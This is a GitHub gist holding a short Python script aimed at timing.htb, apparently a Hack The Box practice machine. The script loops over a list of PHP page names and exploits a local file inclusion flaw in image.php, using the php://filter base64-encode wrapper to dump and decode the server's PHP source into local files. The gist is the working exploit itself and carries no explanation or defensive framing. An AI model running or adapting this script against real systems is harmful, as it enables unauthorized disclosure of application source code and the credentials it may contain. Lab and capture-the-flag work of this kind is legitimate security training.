Skip to content

Instantly share code, notes, and snippets.

@0xj0y
Created January 9, 2022 04:39
Show Gist options
  • Save 0xj0y/e3485d99a9ac0127d7f8ce263f8c9b55 to your computer and use it in GitHub Desktop.
Save 0xj0y/e3485d99a9ac0127d7f8ce263f8c9b55 to your computer and use it in GitHub Desktop.
#!/usr/bin/python3
import requests
import base64
with open('php_pages.lst','r') as p:
pages = [x.strip() for x in p if x]
for page in pages:
url = f'http://timing.htb/image.php?img=php://filter/convert.base64-encode/resource={page}'
encoded_response = requests.get(url)
decoded = base64.b64decode(encoded_response.text)
file_name = f'php/{page}'
with open(file_name,'w') as f:
f.write(decoded.decode('utf-8'))
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment